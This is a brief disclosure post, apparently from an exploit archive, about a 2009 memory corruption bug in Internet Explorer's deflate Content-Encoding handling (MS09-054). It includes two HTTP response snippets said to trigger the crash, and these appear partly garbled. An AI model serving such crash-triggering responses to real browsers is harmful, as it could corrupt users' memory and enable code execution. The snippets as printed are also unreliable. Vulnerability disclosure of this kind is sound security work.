Home / os / win10

msiedeflate-corrupt.txt

Posted on 15 October 2009

MSIE Content-Encoding: deflate memory corruption vulnerability

(a.k.a. MSRC 8769, MS09-054, CVE-2009-1547, “Data Stream Header Corruption Vulnerability”)

Microsoft fixed a bug in Internet Explorer’s “Content-Encoding:deflate” implementation. Here are two HTTP replies that trigger the bug:

HTTP/.
Content-Encoding:deflate
	

x20x20
HTTP 
Content-Encoding:deflate
Content-Range:

”

The bug allows memory corruption, which can be exploited to execute arbitrary code. The big surprise (to me at least) is that nobody seems to have found this before even though it’s fairly easy to trigger.

 

TOP

Malware :

Exploits :